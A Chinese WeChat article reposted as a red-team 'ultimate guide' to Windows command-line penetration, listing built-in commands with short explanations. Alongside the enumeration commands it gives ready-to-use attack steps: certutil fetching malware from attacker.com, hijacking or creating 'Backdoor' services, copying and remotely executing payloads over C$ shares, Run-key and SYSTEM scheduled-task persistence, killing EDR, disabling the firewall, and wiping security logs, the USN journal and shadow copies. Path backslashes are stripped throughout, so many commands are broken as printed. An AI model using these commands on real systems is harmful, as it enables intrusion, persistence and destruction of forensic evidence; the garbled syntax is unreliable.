在#红队 演练或实验室环境中,一个不变的真理是:命令行的精通程度往往决定了你是普通的脚本小子还是真正的#渗透 专家。
现实世界中,你不会总能使用花哨的C2框架或显眼的漏洞利用工具;有时,你唯一能获得的就是一个shell访问和Windows自带的命令。但在熟练的操作者手中,即使是内置工具如net、wmic和schtasks也能成为实现隐蔽行动、权限提升和持久化的有力武器。
本文不仅仅是命令语法的清单,而是为那些希望在系统中静默移动、快速提权并深度潜伏的渗透测试人员提供的实战参考指南。
系统侦察命令
#侦察 是渗透测试的第一步,通过收集目标系统信息,我们能够发现潜在的攻击面和弱点。
systeminfo
显示计算机及其操作系统的详细配置信息,包括操作系统配置、安全信息、产品ID和硬件属性(如RAM、磁盘空间和网卡)。
systeminfo
ipconfig /all
显示所有网络适配器的完整TCP/IP配置。这些适配器可以表示物理接口(如已安装的网卡)或逻辑接口(如拨号连接)。
ipconfig /all
arp -a
发现本地子网上的活跃主机。这个命令可以绕过防火墙(如果ICMP被禁止)。
arp -a
netstat -ano
-a
标志显示所有活动的TCP连接以及计算机正在监听的TCP和UDP端口。与-n
和-o
一起使用时,它还包括每个连接的进程ID(PID)。
netstat -ano
route print
检查网络路由。有助于找到用于枢纽攻击的网关。
route print
nslookup
显示可用于诊断域名系统(DNS)基础设施的信息。在使用此工具之前,你应该熟悉DNS的工作原理。(查找域控制器、MX记录等)
nslookup domain.com
whoami /priv
显示当前用户的安全特权。不使用/priv
标志时,显示当前登录到本地系统的用户、组和特权信息。
whoami /priv
wmic qfe list
列出目标机器上安装的所有补丁。你可以找到未打补丁的漏洞,如永恒之蓝。
wmic qfe list
wmic product get name
查找已安装的软件(寻找有漏洞的版本)。
wmic product get name
用户和组枚举命令
在用户和组中寻找攻击路径,是权限提升的重要环节。
net user
列出计算机上的所有本地用户账户。对于快速识别系统上存在哪些用户很有用,无论你是检查未授权账户的管理员还是进行本地枚举的渗透测试人员。
net user
net user [username]
显示有关特定用户账户的详细信息,例如上次设置密码的时间、用户是否可以更改密码、组成员资格和登录权限。
net user Administrator
net localgroup Administrators
显示哪些用户或组是本地Administrators组的成员。列出的任何人都对系统有完全控制权。
net localgroup Administrators
net group /domain
列出Active Directory域中的所有组。此命令仅适用于已加入域的机器,对了解组织角色很有用。
net group /domain
net accounts
显示本地密码策略设置,如锁定持续时间、最小密码长度以及用户必须多久更改一次密码。
net accounts
net session
显示连接到本地机器的当前网络会话。它显示谁连接了,从哪里连接,以及连接了多长时间。
net session
qwinsta / query user
列出活动的远程桌面会话和已登录用户,以及会话ID和状态(活动、断开连接等)。
qwinsta
query user
klist
显示本地系统上缓存的Kerberos票据。在域环境中用于验证用户是否已通过身份验证以及他们可以访问哪些服务。
klist
文件和目录搜索命令
寻找凭据、配置文件和漏洞是后渗透阶段的重要任务。
dir /s /b C:*.txt
在后渗透阶段,用于跨文件系统搜索敏感数据——特别是.txt格式保存的密码、API密钥或日志。/s
标志确保递归搜索所有目录,而/b
(简洁格式)剥离额外信息,便于脚本处理或导出。
dir /s /b C:*.txt
findstr /si "password"
这是一种关键词grep式搜索,用于发现当前文件夹中文件内的明文凭据。/s
标志(可选)会递归搜索,/i
忽略大小写,"password"是感兴趣的关键词——但它也可以轻松地是"key"、"token"或"secret"。
findstr /si "password" *.*
type web.config
读取ASP.NET应用常见配置文件的内容。这些文件通常存储连接字符串、数据库凭据和其他敏感环境变量。如果目标是已被入侵的Web服务器,这可以快速实现横向移动或数据库访问。
type web.config
attrib +h +s malware.exe
通过应用Hidden(+h)和System(+s)属性来隐藏恶意负载(malware.exe)——使其对使用GUI工具或简单命令行检查的防御者不太可见(普通的dir命令不会显示它,除非使用/a)。虽然简单,但在未受监控的终端上仍然有效。
attrib +h +s malware.exe
where /r C: *.exe
枚举驱动器上的所有可执行文件。这是一种可靠的二进制发现方法——用于识别自定义工具、未签名应用,或查找合法可执行文件所在位置(用于DLL劫持或二进制植入攻击)。
where /r C: *.exe
服务和进程操作命令
通过服务和进程操作实现权限提升是一种重要的攻击方式。
tasklist /svc
将服务映射到各自的进程ID,帮助识别注入的进程或运行恶意二进制文件的服务。这是一种快速方法,可检查哪些服务在svchost.exe下运行,或查找看似正常进程下的可疑活动。
tasklist /svc
sc query
显示系统服务的状态。红队成员使用此命令查找自动启动、已停止(可能被滥用)或在特权账户(如LocalSystem)下运行的服务。
sc query
sc config [service] binPath= "C:evil.exe"
此命令将合法的服务二进制文件替换为恶意负载(evil.exe)。由于服务通常以SYSTEM权限运行,劫持它们可以实现权限提升或持久性,前提是攻击者具有管理员权限。
sc config Spooler binPath= "C:evil.exe"
schtasks /query /fo LIST
以可读格式枚举所有计划任务。许多恶意软件作者和红队成员使用计划任务作为隐蔽的持久化机制——此命令帮助你找到你的任务或检查防御者可能检测到的内容。
schtasks /query /fo LIST
taskkill /PID 1234 /F
使用/F
标志(强制)按进程ID(/PID 1234
)强制终止进程。这可用于多种红队场景:
-
规避:在负载部署前后杀死防御工具(如杀毒/EDR进程) -
清理:终止丢弃的负载或恶意进程,以最小化你的足迹 -
拒绝服务(DoS):通过杀死关键应用程序来干扰目标系统操作(通常不在隐蔽操作中进行,但可能用于分散注意力或掩护)
taskkill /PID 1234 /F
网络攻击命令
横向移动和SMB漏洞利用是进一步扩大控制范围的关键手段。
net use [IP]C$ /u:[user] [pass]
此命令使用指定的凭据映射远程系统的管理员(C是C驱动器的隐藏管理共享。如果成功,这将给你提供目标机器的文件系统访问权限,只要提供的用户在其上具有管理员权限。
net use \192.168.1.10C$ /u:admin P@ssw0rd!
copy malware.exe [IP]C$temp
一旦net use命令挂载了共享,你可以直接将负载(如malware.exe)上传到目标系统。C$temp路径通常被使用,因为C:Temp通常存在并且是可写的。
copy malware.exe \192.168.1.10C$temp
wmic /node:[IP] process call create "cmd.exe"
此命令使用WMIC(Windows Management Instrumentation Command-line)在目标主机上远程启动进程(在本例中是cmd.exe)。它不需要额外的软件——只需有效的凭据和WMI访问权限。
wmic /node:192.168.1.10 process call create "C:Tempmalware.exe"
ping -n 1 -l 1 [target]
此命令向指定目标发送单个ICMP回显请求(-n 1),负载大小仅为一个字节(-l 1)。它有意轻量且安静——用于隐蔽主机发现、网络映射,甚至DNS渗出触发器。由于它产生很少的噪音,当尝试查看被入侵的机器是否可以连接到C2域或出站ICMP是否允许通过防火墙时,它也很方便。
ping -n 1 -l 1 192.168.1.1
net start [service]
启动特定的Windows服务。红队成员在修改服务配置(例如,通过sc config)指向恶意负载后使用此命令,或重新启用有助于利用的内置服务,如RemoteRegistry、Spooler,或甚至为持久性而植入的自定义服务。
net start RemoteRegistry
权限提升命令
寻找错误配置以获取管理员权限是渗透测试的核心目标之一。
whoami /all
whoami的扩展版本,显示有关当前用户的所有安全相关详细信息,包括组成员资格、特权(如SeDebugPrivilege)和登录ID。对于确定你是否以本地管理员身份运行、是域管理员的一部分,或拥有任何可能被提升或滥用的特殊权限至关重要。
whoami /all
icacls "C:Program Files"
检查指定目录的访问控制列表(ACL)。如果非管理员用户对高完整性文件夹(如C:Program Files)具有WRITE或FULL访问权限,可能允许DLL劫持、二进制植入或服务滥用。
icacls "C:Program Files"
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller
查询控制Windows Installer策略的注册表项。此项通常揭示由GPO设置的限制,如是否可以静默安装软件。红队成员在尝试通过MSI包部署工具或后门,或滥用受信任的安装程序路径时检查此项。
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller
accesschk.exe -uwcqv *
查询哪些用户有权访问对象(如服务、目录或文件),使用Sysinternals的accesschk。它通常用于寻找可能导致权限提升的弱权限(例如,低权限用户可写的服务或目录)。
accesschk.exe -uwcqv *
cacls "C:WindowsSystem32cmd.exe"
显示cmd.exe上的当前ACL(访问控制列表)。红队成员使用此命令检查低权限用户是否可以修改或替换关键二进制文件,这可能导致执行劫持或持久性。
cacls "C:WindowsSystem32cmd.exe"
certutil -urlcache -split -f http://attacker.com/malware.exe C:malware.exe
使用certutil从远程服务器下载负载。这是一种利用操作系统自带工具(Living Off The Land)的技术,通常用于避免检测,因为certutil是合法的Windows工具。
certutil -urlcache -split -f http://attacker.com/malware.exe C:malware.exe
vssadmin create shadow /for=C:
创建C:驱动器的卷影副本。这可以被滥用来绕过文件锁定并提取敏感文件,如SAM、SYSTEM或NTDS.dit——即使它们正在使用中。
vssadmin create shadow /for=C:
横向移动命令
跳转到网络中的其他机器是扩大攻击面的关键步骤。
psexec.exe [IP] -u [user] -p [pass] cmd
使用PsExec在目标上执行远程命令shell。如果你有有效的凭据和管理员权限,这将通过SMB提供代码执行,通常用于横向移动或负载部署。
psexec.exe \192.168.1.10 -u administrator -p password cmd
xcopy C:malware.exe [IP]C$temp /Y
通过管理共享将负载(malware.exe)复制到远程主机。/Y抑制覆盖提示。这是横向移动或执行前设置的常见步骤。
xcopy C:malware.exe \192.168.1.10C$temp /Y
sc [IP] create Backdoor binPath= "cmd.exe"
在远程主机上创建一个启动cmd.exe的新服务。一旦启动,它通过服务滥用为攻击者提供交互式shell访问。常用于持久性或远程代码执行。
sc \192.168.1.10 create Backdoor binPath= "cmd.exe"
netsh firewall set opmode disable
完全禁用Windows防火墙(在较旧的Windows系统上)。在后渗透阶段用于启用C2流量、工具下载或不受限制的横向移动。
netsh firewall set opmode disable
持久性命令
系统重启后保持访问权限是长期渗透的关键。
reg add HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v Backdoor /t REG_SZ /d "C:evil.exe"
添加一个注册表项,确保每次系统启动时evil.exe都会运行。这种方法是用户层持久性的主要手段,通常在后渗透阶段使用,以便在重启后重新获得访问权限。
reg add HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v Backdoor /t REG_SZ /d "C:evil.exe"
schtasks /create /tn "Update" /tr "C:evil.exe" /sc onstart /ru SYSTEM
创建一个名为"Update"的计划任务,在系统启动时以SYSTEM账户运行evil.exe,授予高完整性执行和可靠的持久性——即使在重启后也是如此。
schtasks /create /tn "Update" /tr "C:evil.exe" /sc onstart /ru SYSTEM
日志规避命令
清除痕迹是渗透测试中的重要环节。
Wevtutil cl Security
清除Windows安全事件日志,移除登录、权限提升和其他高价值活动的痕迹。这种操作很明显且通常会被记录,但有时在最后阶段清理中使用。
Wevtutil cl Security
Auditpol /clear
清除当前审计策略设置,可以停止或防止记录关键事件,如对象访问、登录和特权使用。这是另一种日志干扰技术,通常与日志清除结合使用。
Auditpol /clear
fsutil usn deletejournal /D C:
删除C:驱动器上的USN日志——一个文件系统更改日志,可以揭示哪些文件被创建、重命名或删除。这是一种隐蔽的反取证策略,用于移除负载活动的痕迹。
fsutil usn deletejournal /D C:
wmic shadowcopy delete
删除所有卷影副本,防止恢复已删除的文件(如SAM、NTDS.dit或其他被窃取的工件)。这通常在数据窃取或系统修改后使用。
wmic shadowcopy delete
结论:掌握这些命令,控制整个网络
Windows命令行渗透是渗透测试人员的超能力。这些命令是解锁系统、提升权限和控制网络的钥匙——无论你是进行红队演练、漏洞寻找,还是加强防御。
本文仅供技术研究与学习,请勿用于非法用途。
Windows不为人知的系统工具:Utilman.exe深度揭秘
鲜为人知的Windows技能:Server完整SSH配置与应用场景
【技术干货】一个命令搞定Windows UAC防护,微软却不愿修复
关注我们的公众号,并给本文点赞,点个推荐支持一下吧!您的每一个小红心,都是我坚持创作优质内容的最大动力
原文始发于微信公众号(HW安全之路):系统自带的黑客工具箱:精通Windows命令行渗透的终极指南
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论